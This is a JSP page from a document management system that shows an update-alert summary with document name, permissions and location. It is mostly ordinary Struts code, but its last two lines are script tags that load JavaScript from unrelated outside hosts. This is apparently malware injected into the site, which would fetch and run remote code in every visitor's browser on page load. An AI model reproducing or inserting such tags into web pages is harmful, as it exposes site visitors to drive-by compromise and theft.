<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.alert.bean.*" %>
<%@ page import="com.dcivision.alert.dao.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="java.util.List" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listUpdateAlertSummaryForm" scope="request" class="com.dcivision.alert.web.ListUpdateAlertSummaryForm"/>
<script language="Javascript" src="<%= request.getContextPath() %>/js/DMSFunction.jsp" charset="UTF-8" type="text/javascript"></script>
<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String width = request.getParameter("width") == null ? "100%" : request.getParameter("width");
  String height = request.getParameter("height") == null ? "100" : request.getParameter("height");


  Connection dbConn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  String documentID = request.getParameter("objectID");
  String updateAlertSystemLogID = request.getParameter("updateAlertSystemLogID");
  String curFunctionCode = request.getParameter("curFunctionCode");
  Integer updateAlertID = TextUtility.parseIntegerObj(request.getParameter("updateAlertID"));
  
  //String message = java.net.URLDecoder.decode(request.getParameter("message"), "UTF-8");
  UpdateAlertTypeDAObject updateAlertTypeDAO = new UpdateAlertTypeDAObject(sessionContainer, dbConn);
  String updateAlertTypeID = request.getParameter("updateAlertTypeID");
  UpdateAlertType updateAlertType = (UpdateAlertType) updateAlertTypeDAO.getByupdateAlertTypeID(TextUtility.parseIntegerObj(updateAlertTypeID));
  String message = updateAlertType.getMessage();
  message = TextUtility.br(message);
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,dbConn);
  VersionControlManager verControlManager = new VersionControlManager(sessionContainer, dbConn);

  DmsDocument dmsDocument = (DmsDocument) docRetrievalManager.getDocument(TextUtility.parseIntegerObj(documentID));


  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>

<html:form name="listUpdateAlertSummaryForm" type="com.dcivision.alert.web.ListUpdateAlertSummaryForm" action="/ListUpdateAlertSummary">

<%try{%>
<table cellpadding="1" cellspacing="0" border="0" width="780" bgcolor="#CCCCCC"><tr><td>
<!-- ######################################### Content Begin ######################################### -->

<!-- Update Alert Detail Table Showing Record List Begin -->
<table cellpadding="0" cellspacing="0" border="0" width="780"><tr><td>
<table width="780" cellpadding="0" cellspacing="2" border="0" align="left">
  <tr>
    <td class="<layout:classLabel mandatory='false'/>" width="20%" valign="top"><bean:message key='dms.label.alert_notification'/>:&nbsp;</td>
    <td class="dataField" width="80%" colspan="2">
      <bean:message key='dms.label.alert_notification_D'/>
    </td>
  </tr>
  <tr>
    <td class="<layout:classLabel mandatory='false'/>" width="20%" valign="top"><bean:message key='dms.label.notification_message'/>:&nbsp;</td>
    <td class="dataField" width="80%" colspan="2">
      <%=message%>
    </td>
  </tr>
  <tr>
    <%
    /*DmsCheckoutHistory checkoutHistory = new DmsCheckoutHistory();
    String docItemStatus = dmsDocument.getItemStatus();
    if (!Utility.isEmpty(dmsDocument.getItemStatus()) && !DmsVersion.AVAILABLE_STATUS.equals(dmsDocument.getItemStatus())) {
       checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(dmsDocument.getCheckoutID());
    }*/
    //Permission string
    DmsDocument documentRoot = new DmsDocument();
    documentRoot = docRetrievalManager.getRootFolderByRootID(dmsDocument.getRootID());
    String permission = "";

    PermissionManager permissionManager = sessionContainer.getPermissionManager();
    permission = (String) permissionManager.getPermission(dbConn,GlobalConstant.OBJECT_TYPE_DOCUMENT, dmsDocument.getID());

    boolean inviteToRead = false;
    if (SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_INVITATION_OVERWRITE_STANDARD)){
      inviteToRead = true;
    }    
    %>
    <td class="<layout:classLabel mandatory='false'/>" width="20%" valign="top"><bean:message key='dms.columnheader.doc_name'/>:&nbsp;</td>
    <td class="dataField" width='50%'>
      <nobr><dms:documentInfo docObject='<%=dmsDocument%>' permission='<%=permission%>' updateAlertID='<%=updateAlertID%>' updateAlertTypeID='<%=TextUtility.parseIntegerObj(updateAlertTypeID)%>' updateAlertSystemLogID='<%=TextUtility.parseIntegerObj(updateAlertSystemLogID)%>'  rootDocument='<%=documentRoot%>' curFunctionCode='<%=curFunctionCode%>' inviteToRead='<%=inviteToRead%>'/>
    </td>
    <td class="dataField" width='20%'>

    </td>
  </tr>
  <tr>
    <td class="<layout:classLabel mandatory='false'/>" width="20%" valign="top"><bean:message key='dms.label.location'/>:&nbsp;</td>
    <td class="dataField" width="80%" colspan="2">
      <%if (dmsDocument.getParentID() != null && dmsDocument.getParentID().intValue() != 0) {%>
      <dms:locationPath onClick="false" parentID="<%=(dmsDocument).getParentID()%>" rootID="<%=dmsDocument.getRootID()%>" permission='<%=permission%>' rootDocument='<%=documentRoot%>' indexFlag='showIndexFlag' />
      <%} else {%>
      <bean:message key='dms.label.root'/>
      <%}%>
    </td>
  </tr>
</table>

</td></tr></table>
<!-- Table Showing Record List End -->
<!-- ######################################### Content End   ######################################### -->

</td></tr></table>

<%}catch(Exception e){
  LogFactory.getLog(this.getClass()).error(e, e);
  }
%>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>